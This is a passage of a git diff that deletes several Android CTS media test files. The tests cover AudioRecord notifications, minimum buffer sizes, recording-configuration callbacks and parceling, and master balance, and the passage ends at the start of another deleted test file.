-        log.addValue("maximum_periodic_abs_diff", periodicStat.getMaxAbs(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.addValue("average_periodic_abs_diff", periodicStat.getAvgAbs(), ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-        log.setSummary("unified_abs_diff", (periodicStat.getAvgAbs() + markerStat.getAvgAbs()) / 2,
-                ResultType.LOWER_BETTER, ResultUnit.MS);
-        log.submit(InstrumentationRegistry.getInstrumentation());
-    }
-
-    private class MockOnRecordPositionUpdateListener
-                                        implements OnRecordPositionUpdateListener {
-        public MockOnRecordPositionUpdateListener(AudioRecord record) {
-            mAudioRecord = record;
-            record.setRecordPositionUpdateListener(this);
-        }
-
-        public MockOnRecordPositionUpdateListener(AudioRecord record, Handler handler) {
-            mAudioRecord = record;
-            record.setRecordPositionUpdateListener(this, handler);
-        }
-
-        public synchronized void onMarkerReached(AudioRecord record) {
-            if (mIsTestActive) {
-                int position = getPosition();
-                mOnMarkerReachedCalled.add(position);
-                mMarkerPosition += mMarkerPeriodInFrames;
-                assertEquals(AudioRecord.SUCCESS,
-                        mAudioRecord.setNotificationMarkerPosition(mMarkerPosition));
-            } else {
-                // see comment on stop()
-                final long delta = System.currentTimeMillis() - mStopTime;
-                Log.d(TAG, "onMarkerReached called " + delta + " ms after stop");
-                fail("onMarkerReached called when not active");
-            }
-        }
-
-        public synchronized void onPeriodicNotification(AudioRecord record) {
-            if (mIsTestActive) {
-                int position = getPosition();
-                mOnPeriodicNotificationCalled.add(position);
-            } else {
-                // see comment on stop()
-                final long delta = System.currentTimeMillis() - mStopTime;
-                Log.d(TAG, "onPeriodicNotification called " + delta + " ms after stop");
-                fail("onPeriodicNotification called when not active");
-            }
-        }
-
-        public synchronized void start(int sampleRate) {
-            mIsTestActive = true;
-            mSampleRate = sampleRate;
-            mStartTime = System.currentTimeMillis();
-        }
-
-        public synchronized void stop() {
-            // the listener should be stopped some time after AudioRecord is stopped
-            // as some messages may not yet be posted.
-            mIsTestActive = false;
-            mStopTime = System.currentTimeMillis();
-        }
-
-        public ArrayList<Integer> getMarkerList() {
-            return mOnMarkerReachedCalled;
-        }
-
-        public ArrayList<Integer> getPeriodicList() {
-            return mOnPeriodicNotificationCalled;
-        }
-
-        public synchronized void release() {
-            stop();
-            mAudioRecord.setRecordPositionUpdateListener(null);
-            mAudioRecord = null;
-        }
-
-        private int getPosition() {
-            // we don't have mAudioRecord.getRecordPosition();
-            // so we fake this by timing.
-            long delta = System.currentTimeMillis() - mStartTime;
-            return (int)(delta * mSampleRate / 1000);
-        }
-
-        private long mStartTime;
-        private long mStopTime;
-        private int mSampleRate;
-        private boolean mIsTestActive = true;
-        private AudioRecord mAudioRecord;
-        private ArrayList<Integer> mOnMarkerReachedCalled = new ArrayList<Integer>();
-        private ArrayList<Integer> mOnPeriodicNotificationCalled = new ArrayList<Integer>();
-    }
-
-    private boolean hasMicrophone() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    private boolean isLowRamDevice() {
-        return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
-                .isLowRamDevice();
-    }
-
-    private boolean isLowLatencyDevice() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUDIO_LOW_LATENCY);
-    }
-
-    private boolean isProAudioDevice() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUDIO_PRO);
-    }
-
-    private void verifyContinuousTimestamps(
-            AudioTimestamp startTs, AudioTimestamp stopTs, int sampleRate)
-            throws Exception {
-        final long timeDiff = stopTs.nanoTime - startTs.nanoTime;
-        final long frameDiff = stopTs.framePosition - startTs.framePosition;
-        final long NANOS_PER_SECOND = 1000000000;
-        final long timeByFrames = frameDiff * NANOS_PER_SECOND / sampleRate;
-        final double ratio = (double)timeDiff / timeByFrames;
-
-        // Usually the ratio is accurate to one part per thousand or better.
-        // Log.d(TAG, "ratio=" + ratio + ", timeDiff=" + timeDiff + ", frameDiff=" + frameDiff +
-        //        ", timeByFrames=" + timeByFrames + ", sampleRate=" + sampleRate);
-        assertEquals(1.0 /* expected */, ratio, isLowLatencyDevice() ? 0.01 : 0.5 /* delta */);
-    }
-
-    // remove if AudioTimestamp has a better toString().
-    private void printTimestamp(String s, AudioTimestamp ats) {
-        Log.d(TAG, s + ":  pos: " + ats.framePosition + "  time: " + ats.nanoTime);
-    }
-
-    private static void readDataTimed(AudioRecord recorder, long durationMillis,
-            ShortBuffer out) throws IOException {
-        final short[] buffer = new short[1024];
-        final long startTimeMillis = SystemClock.uptimeMillis();
-        final long stopTimeMillis = startTimeMillis + durationMillis;
-        while (SystemClock.uptimeMillis() < stopTimeMillis) {
-            final int readCount = recorder.read(buffer, 0, buffer.length);
-            if (readCount <= 0) {
-                return;
-            }
-            out.put(buffer, 0, readCount);
-        }
-    }
-
-    private static boolean isAudioSilent(ShortBuffer buffer) {
-        // Always need some bytes read
-        assertTrue("Buffer should have some data", buffer.position() > 0);
-
-        // It is possible that the transition from empty to non empty bytes
-        // happened in the middle of the read data due to the async nature of
-        // the system. Therefore, we look for the transitions from non-empty
-        // to empty and from empty to non-empty values for robustness.
-        int totalSilenceCount = 0;
-        final int valueCount = buffer.position();
-        for (int i = valueCount - 1; i >= 0; i--) {
-            final short value = buffer.get(i);
-            if (value == 0) {
-                totalSilenceCount++;
-            }
-        }
-        return totalSilenceCount > valueCount / 2;
-    }
-
-    private static void makeMyUidStateActive(String packageName, int userId) throws IOException {
-        final String command = String.format(
-                "cmd media.audio_policy set-uid-state %s active --user %d", packageName, userId);
-        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
-    }
-
-    private static void makeMyUidStateIdle(String packageName, int userId) throws IOException {
-        final String command = String.format(
-                "cmd media.audio_policy set-uid-state %s idle --user %d", packageName, userId);
-        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
-    }
-
-    private static void resetMyUidState(String packageName, int userId) throws IOException {
-        final String command = String.format(
-                "cmd media.audio_policy reset-uid-state %s --user %d", packageName, userId);
-        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
-    }
-
-    private static Context getContext() {
-        return InstrumentationRegistry.getInstrumentation().getTargetContext();
-    }
-
-    /*
-     * Microphone Direction API tests
-     */
-    @Test
-    public void testSetPreferredMicrophoneDirection() {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        try {
-            boolean success =
-                    mAudioRecord.setPreferredMicrophoneDirection(
-                            MicrophoneDirection.MIC_DIRECTION_TOWARDS_USER);
-
-            // Can't actually test this as HAL may not have implemented it
-            // Just verify that it doesn't crash or throw an exception
-            // assertTrue(success);
-        } catch (Exception ex) {
-            Log.e(TAG, "testSetPreferredMicrophoneDirection() exception:" + ex);
-            assertTrue(false);
-        }
-        return;
-    }
-
-    @Test
-    public void testSetPreferredMicrophoneFieldDimension() {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        try {
-            boolean success = mAudioRecord.setPreferredMicrophoneFieldDimension(1.0f);
-
-            // Can't actually test this as HAL may not have implemented it
-            // Just verify that it doesn't crash or throw an exception
-            // assertTrue(success);
-        } catch (Exception ex) {
-            Log.e(TAG, "testSetPreferredMicrophoneFieldDimension() exception:" + ex);
-            assertTrue(false);
-        }
-        return;
-    }
-
-    @Test
-    public void testPrivacySensitiveBuilder() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        for (final boolean privacyOn : new boolean[] { false, true} ) {
-            AudioRecord record = new AudioRecord.Builder()
-            .setAudioFormat(new AudioFormat.Builder()
-                    .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                    .setSampleRate(8000)
-                    .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                    .build())
-            .setPrivacySensitive(privacyOn)
-            .build();
-            assertEquals(privacyOn, record.isPrivacySensitive());
-            record.release();
-        }
-    }
-
-    @Test
-    public void testPrivacySensitiveDefaults() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        AudioRecord record = new AudioRecord.Builder()
-            .setAudioSource(MediaRecorder.AudioSource.MIC)
-            .setAudioFormat(new AudioFormat.Builder()
-                 .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                 .setSampleRate(8000)
-                 .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                 .build())
-            .build();
-        assertFalse(record.isPrivacySensitive());
-        record.release();
-
-        record = new AudioRecord.Builder()
-            .setAudioSource(MediaRecorder.AudioSource.VOICE_COMMUNICATION)
-            .setAudioFormat(new AudioFormat.Builder()
-                 .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                 .setSampleRate(8000)
-                 .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                 .build())
-            .build();
-        assertTrue(record.isPrivacySensitive());
-        record.release();
-    }
-
-    @Test
-    public void testSetLogSessionId() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        AudioRecord audioRecord = null;
-        try {
-            audioRecord = new AudioRecord.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                            .build())
-                    .build();
-            audioRecord.setLogSessionId(LogSessionId.LOG_SESSION_ID_NONE); // should not throw.
-            assertEquals(LogSessionId.LOG_SESSION_ID_NONE, audioRecord.getLogSessionId());
-
-            final MediaMetricsManager mediaMetricsManager =
-                    getContext().getSystemService(MediaMetricsManager.class);
-            final RecordingSession recordingSession =
-                    mediaMetricsManager.createRecordingSession();
-            audioRecord.setLogSessionId(recordingSession.getSessionId());
-            assertEquals(recordingSession.getSessionId(), audioRecord.getLogSessionId());
-
-            // record some data to generate a log entry.
-            short data[] = new short[audioRecord.getSampleRate() / 2];
-            audioRecord.startRecording();
-            audioRecord.read(data, 0 /* offsetInShorts */, data.length);
-            audioRecord.stop();
-
-            // Also can check the mediametrics dumpsys to validate logs generated.
-        } finally {
-            if (audioRecord != null) {
-                audioRecord.release();
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
deleted file mode 100644
index 837a4a8..0000000
--- a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.pm.PackageManager;
-import android.media.AudioFormat;
-import android.media.AudioRecord;
-import android.media.MediaRecorder.AudioSource;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.util.ArrayList;
-import java.util.List;
-
-@NonMediaMainlineTest
-public class AudioRecord_BufferSizeTest extends AndroidTestCase {
-
-    private static final String TAG = AudioRecord_BufferSizeTest.class.getSimpleName();
-    private static final int CHANNEL_CONFIG = AudioFormat.CHANNEL_IN_MONO;
-    private static final int AUDIO_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-
-    private static final int[] SAMPLE_RATES_IN_HZ = new int[] {
-        8000,
-        11025,
-        16000,
-        44100,
-        48000,
-    };
-
-    private AudioRecord mAudioRecord;
-
-    @CddTest(requirement="5.4.1/C-1-1")
-    public void testGetMinBufferSize() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        List<Integer> failedSampleRates = new ArrayList<Integer>();
-        for (int i = 0; i < SAMPLE_RATES_IN_HZ.length; i++) {
-            try {
-                record(SAMPLE_RATES_IN_HZ[i]);
-            } catch (Throwable e) {
-                Log.e(TAG, "Sample rate: " + SAMPLE_RATES_IN_HZ[i], e);
-                failedSampleRates.add(SAMPLE_RATES_IN_HZ[i]);
-                if (mAudioRecord != null) {
-                    // clean up.  AudioRecords are in scarce supply.
-                    mAudioRecord.release();
-                    mAudioRecord = null;
-                }
-            }
-        }
-        assertTrue("Failed sample rates: " + failedSampleRates + " See log for more details.",
-                failedSampleRates.isEmpty());
-    }
-
-    private void record(int sampleRateInHz) {
-        int bufferSize = AudioRecord.getMinBufferSize(sampleRateInHz, CHANNEL_CONFIG, AUDIO_FORMAT);
-        assertTrue(bufferSize > 0);
-
-        createAudioRecord(sampleRateInHz, bufferSize);
-        // RecordingState changes are reflected synchronously (no need to poll)
-        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
-
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-
-        // it is preferred to use a short array to read AudioFormat.ENCODING_PCM_16BIT data
-        // but it's ok to read using using a byte array.  16 bit PCM data will be
-        // stored as two bytes, native endian.
-        byte[] buffer = new byte[bufferSize];
-        assertTrue(mAudioRecord.read(buffer, 0, bufferSize) > 0);
-
-        mAudioRecord.stop();
-        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
-
-        mAudioRecord.release();
-        mAudioRecord = null;
-    }
-
-    private void createAudioRecord(final int sampleRateInHz, final int bufferSize) {
-        mAudioRecord = new AudioRecord(AudioSource.DEFAULT, sampleRateInHz,
-                CHANNEL_CONFIG, AUDIO_FORMAT, bufferSize);
-        assertNotNull(mAudioRecord);
-    }
-
-    private boolean hasMicrophone() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
deleted file mode 100644
index 673e86d..0000000
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ /dev/null
@@ -1,356 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.pm.PackageManager;
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioPlaybackConfiguration;
-import android.media.AudioRecord;
-import android.media.AudioRecordingConfiguration;
-import android.media.MediaRecorder;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.Parcel;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.Iterator;
-import java.util.List;
-
-@NonMediaMainlineTest
-public class AudioRecordingConfigurationTest extends CtsAndroidTestCase {
-    private static final String TAG = "AudioRecordingConfigurationTest";
-
-    private static final int TEST_SAMPLE_RATE = 16000;
-    private static final int TEST_AUDIO_SOURCE = MediaRecorder.AudioSource.VOICE_RECOGNITION;
-
-    private static final int TEST_TIMING_TOLERANCE_MS = 70;
-    private static final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
-
-    private AudioRecord mAudioRecord;
-    private Looper mLooper;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!hasMicrophone()) {
-            return;
-        }
-
-        /*
-         * InstrumentationTestRunner.onStart() calls Looper.prepare(), which creates a looper
-         * for the current thread. However, since we don't actually call loop() in the test,
-         * any messages queued with that looper will never be consumed. Therefore, we must
-         * create the instance in another thread, either without a looper, so the main looper is
-         * used, or with an active looper.
-         */
-        Thread t = new Thread() {
-            @Override
-            public void run() {
-                Looper.prepare();
-                mLooper = Looper.myLooper();
-                synchronized(this) {
-                    mAudioRecord = new AudioRecord.Builder()
-                                     .setAudioSource(TEST_AUDIO_SOURCE)
-                                     .setAudioFormat(new AudioFormat.Builder()
-                                             .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                                             .setSampleRate(TEST_SAMPLE_RATE)
-                                             .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
-                                             .build())
-                                     .build();
-                    this.notify();
-                }
-                Looper.loop();
-            }
-        };
-        synchronized(t) {
-            t.start(); // will block until we wait
-            t.wait();
-        }
-        assertNotNull(mAudioRecord);
-        assertNotNull(mLooper);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (hasMicrophone()) {
-            mAudioRecord.stop();
-            mAudioRecord.release();
-            mLooper.quit();
-            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
-        }
-        super.tearDown();
-    }
-
-    // start a recording and verify it is seen as an active recording
-    public void testAudioManagerGetActiveRecordConfigurations() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
-
-        List<AudioRecordingConfiguration> configs = am.getActiveRecordingConfigurations();
-        assertNotNull("Invalid null array of record configurations before recording", configs);
-
-        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-        // recording is active, verify there is an active record configuration
-        configs = am.getActiveRecordingConfigurations();
-        assertNotNull("Invalid null array of record configurations during recording", configs);
-        assertTrue("no active record configurations (empty array) during recording",
-                configs.size() > 0);
-        final int nbConfigsDuringRecording = configs.size();
-
-        // verify our recording shows as one of the recording configs
-        assertTrue("Test source/session not amongst active record configurations",
-                verifyAudioConfig(TEST_AUDIO_SOURCE, mAudioRecord.getAudioSessionId(),
-                        mAudioRecord.getFormat(), mAudioRecord.getRoutedDevice(), configs));
-
-        // testing public API here: verify no system-privileged info is exposed through reflection
-        verifyPrivilegedInfoIsSafe(configs.get(0));
-
-        // stopping recording: verify there are less active record configurations
-        mAudioRecord.stop();
-        Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
-        configs = am.getActiveRecordingConfigurations();
-        assertEquals("Unexpected number of recording configs after stop",
-                configs.size(), 0);
-    }
-
-    public void testCallback() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        doCallbackTest(false /* no custom Handler for callback */);
-    }
-
-    public void testCallbackHandler() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        doCallbackTest(true /* use custom Handler for callback */);
-    }
-
-    private void doCallbackTest(boolean useHandlerInCallback) throws Exception {
-        final Handler h;
-        if (useHandlerInCallback) {
-            HandlerThread handlerThread = new HandlerThread(TAG);
-            handlerThread.start();
-            h = new Handler(handlerThread.getLooper());
-        } else {
-            h = null;
-        }
-        try {
-            AudioManager am = new AudioManager(getContext());
-            assertNotNull("Could not create AudioManager", am);
-
-            MyAudioRecordingCallback callback = new MyAudioRecordingCallback(
-                    mAudioRecord.getAudioSessionId(), TEST_AUDIO_SOURCE);
-            am.registerAudioRecordingCallback(callback, h /*handler*/);
-
-            assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
-            mAudioRecord.startRecording();
-            assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-            callback.await(TEST_TIMING_TOLERANCE_MS);
-
-            assertTrue("AudioRecordingCallback not called after start", callback.mCalled);
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-            final AudioDeviceInfo testDevice = mAudioRecord.getRoutedDevice();
-            assertTrue("AudioRecord null routed device after start", testDevice != null);
-            final boolean match = verifyAudioConfig(mAudioRecord.getAudioSource(),
-                    mAudioRecord.getAudioSessionId(), mAudioRecord.getFormat(),
-                    testDevice, callback.mConfigs);
-            assertTrue("Expected record configuration was not found", match);
-
-            // testing public API here: verify no system-privileged info is exposed through
-            // reflection
-            verifyPrivilegedInfoIsSafe(callback.mConfigs.get(0));
-
-            // stopping recording: callback is called with no match
-            callback.reset();
-            mAudioRecord.stop();
-            callback.await(TEST_TIMING_TOLERANCE_MS);
-            assertTrue("AudioRecordingCallback not called after stop", callback.mCalled);
-            assertEquals("Should not have found record configurations", callback.mConfigs.size(),
-                    0);
-            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
-
-            // unregister callback and start recording again
-            am.unregisterAudioRecordingCallback(callback);
-            callback.reset();
-            mAudioRecord.startRecording();
-            callback.await(TEST_TIMING_TOLERANCE_MS);
-            assertFalse("Unregistered callback was called", callback.mCalled);
-            mAudioRecord.stop();
-            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
-
-            // just call the callback once directly so it's marked as tested
-            final AudioManager.AudioRecordingCallback arc =
-                    (AudioManager.AudioRecordingCallback) callback;
-            arc.onRecordingConfigChanged(new ArrayList<AudioRecordingConfiguration>());
-        } finally {
-            if (h != null) {
-                h.getLooper().quit();
-            }
-        }
-    }
-
-    @NonMediaMainlineTest
-    public void testParcel() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
-        AudioManager am = new AudioManager(getContext());
-        assertNotNull("Could not create AudioManager", am);
-
-        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
-        mAudioRecord.startRecording();
-        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
-        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-        List<AudioRecordingConfiguration> configs = am.getActiveRecordingConfigurations();
-        assertTrue("Empty array of record configs during recording", configs.size() > 0);
-        assertEquals(0, configs.get(0).describeContents());
-
-        // marshall a AudioRecordingConfiguration and compare to unmarshalled
-        final Parcel srcParcel = Parcel.obtain();
-        final Parcel dstParcel = Parcel.obtain();
-
-        configs.get(0).writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
-        final byte[] mbytes = srcParcel.marshall();
-        dstParcel.unmarshall(mbytes, 0, mbytes.length);
-        dstParcel.setDataPosition(0);
-        final AudioRecordingConfiguration unmarshalledConf =
-                AudioRecordingConfiguration.CREATOR.createFromParcel(dstParcel);
-
-        assertNotNull("Failure to unmarshall AudioRecordingConfiguration", unmarshalledConf);
-        assertEquals("Source and destination AudioRecordingConfiguration not equal",
-                configs.get(0), unmarshalledConf);
-    }
-
-    static class MyAudioRecordingCallback extends AudioManager.AudioRecordingCallback {
-        boolean mCalled;
-        List<AudioRecordingConfiguration> mConfigs;
-        private final int mTestSource;
-        private final int mTestSession;
-        private CountDownLatch mCountDownLatch;
-
-        void reset() {
-            mCountDownLatch = new CountDownLatch(1);
-            mCalled = false;
-            mConfigs = new ArrayList<AudioRecordingConfiguration>();
-        }
-
-        MyAudioRecordingCallback(int session, int source) {
-            mTestSource = source;
-            mTestSession = session;
-            reset();
-        }
-
-        @Override
-        public void onRecordingConfigChanged(List<AudioRecordingConfiguration> configs) {
-            mCalled = true;
-            mConfigs = configs;
-            mCountDownLatch.countDown();
-        }
-
-        void await(long timeoutMs) {
-            try {
-                mCountDownLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-            }
-        }
-    }
-
-    private static boolean deviceMatch(AudioDeviceInfo devJoe, AudioDeviceInfo devJeff) {
-        return ((devJoe.getId() == devJeff.getId()
-                && (devJoe.getAddress() == devJeff.getAddress())
-                && (devJoe.getType() == devJeff.getType())));
-    }
-
-    private static boolean verifyAudioConfig(int source, int session, AudioFormat format,
-            AudioDeviceInfo device, List<AudioRecordingConfiguration> configs) {
-        final Iterator<AudioRecordingConfiguration> confIt = configs.iterator();
-        while (confIt.hasNext()) {
-            final AudioRecordingConfiguration config = confIt.next();
-            final AudioDeviceInfo configDevice = config.getAudioDevice();
-            assertTrue("Current recording config has null device", configDevice != null);
-            if ((config.getClientAudioSource() == source)
-                    && (config.getClientAudioSessionId() == session)
-                    // test the client format matches that requested (same as the AudioRecord's)
-                    && (config.getClientFormat().getEncoding() == format.getEncoding())
-                    && (config.getClientFormat().getSampleRate() == format.getSampleRate())
-                    && (config.getClientFormat().getChannelMask() == format.getChannelMask())
-                    && (config.getClientFormat().getChannelIndexMask() ==
-                            format.getChannelIndexMask())
-                    // test the device format is configured
-                    && (config.getFormat().getEncoding() != AudioFormat.ENCODING_INVALID)
-                    && (config.getFormat().getSampleRate() > 0)
-                    //  for the channel mask, either the position or index-based value must be valid
-                    && ((config.getFormat().getChannelMask() != AudioFormat.CHANNEL_INVALID)
-                            || (config.getFormat().getChannelIndexMask() !=
-                                    AudioFormat.CHANNEL_INVALID))
-                    && deviceMatch(device, configDevice)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private boolean hasMicrophone() {
-        return getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE);
-    }
-
-    private static void verifyPrivilegedInfoIsSafe(AudioRecordingConfiguration config) {
-        // verify "privileged" fields aren't available through reflection
-        final Class<?> confClass = config.getClass();
-        try {
-            final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
-            final Method getClientPackageName = confClass.getDeclaredMethod("getClientPackageName");
-            try {
-                getClientUidMethod.invoke(config, (Object[]) null);
-                fail("InvocationTargetException expected during reflection for getClientUid " +
-                    "without permission");
-            } catch (InvocationTargetException ex) {
-                assertEquals(
-                    "SecurityException cause expected for getClientUid without permission",
-                    SecurityException.class /*expected*/,
-                    ex.getCause().getClass());
-            }
-            String name = (String) getClientPackageName.invoke(config, (Object[]) null);
-            assertNotNull("client package name is null", name);
-            assertEquals("client package name isn't protected", 0 /*expected*/, name.length());
-        } catch (Exception e) {
-            fail("Exception thrown during reflection on config privileged fields" + e);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioSystemTest.java b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
deleted file mode 100644
index 0080e79..0000000
--- a/tests/tests/media/src/android/media/cts/AudioSystemTest.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.media.AudioSystem;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Ensures proper support of internal @TestApi functionality for AudioSystem.
- * This is a framework consistency test of important internal APIs.
- * Java applications should use the client facing AudioManager APIs for Audio management.
- */
-
-@Presubmit
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-@AppModeFull(reason = "Instant applications do not have permission MODIFY_AUDIO_SETTINGS")
-public class AudioSystemTest {
-
-    /**
-     * Tests AudioSystem.setMasterBalance and AudioSystem.getMasterBalance
-     *
-     * @throws Exception
-     */
-    @Test
-    public void testBalance() throws Exception {
-        final float DELTA = 0.f; // float values must be exact
-
-        // original balance must be valid
-        final float originalBalance = AudioSystem.getMasterBalance();
-        assertTrue("original balance must be within -1.f to 1.f " + originalBalance,
-                originalBalance <= 1.f && originalBalance >= -1.f);
-
-        try {
-            // can we set with valid values?
-            final float[] GOOD_BALANCE_VALUES = {-1.f, -0.5f, 0.f, 0.5f, 1.f};
-            for (final float b : GOOD_BALANCE_VALUES) {
-                assertEquals("set must return NO_ERROR", 0, AudioSystem.setMasterBalance(b));
-                assertEquals("get must return set value " + b,
-                        b, AudioSystem.getMasterBalance(), DELTA);
-            }
-
-            // can we restore?
-            AudioSystem.setMasterBalance(originalBalance);
-            assertEquals("get must return set value",
-                    originalBalance, AudioSystem.getMasterBalance(), DELTA);
-
-            // do we reject invalid values?
-            final float[] BAD_BALANCE_VALUES = {-2.f, 2.f, // out of bounds
-                    Float.POSITIVE_INFINITY, Float.NaN, Float.NEGATIVE_INFINITY, // special values
-            };
-            for (final float b : BAD_BALANCE_VALUES) {
-                assertTrue("set returns error on invalid value",
-                        0 != AudioSystem.setMasterBalance(b));
-                assertEquals("get reads old value on invalid set",
-                        originalBalance, AudioSystem.getMasterBalance(), DELTA);
-            }
-            // we are at original balance here.
-
-        } finally {
-            // always attempt to restore original balance if we got it successfully.
-            AudioSystem.setMasterBalance(originalBalance);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioSystemUsageTest.java b/tests/tests/media/src/android/media/cts/AudioSystemUsageTest.java
deleted file mode 100644
index 46f88de..0000000
--- a/tests/tests/media/src/android/media/cts/AudioSystemUsageTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (C) 2020 Google LLC.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
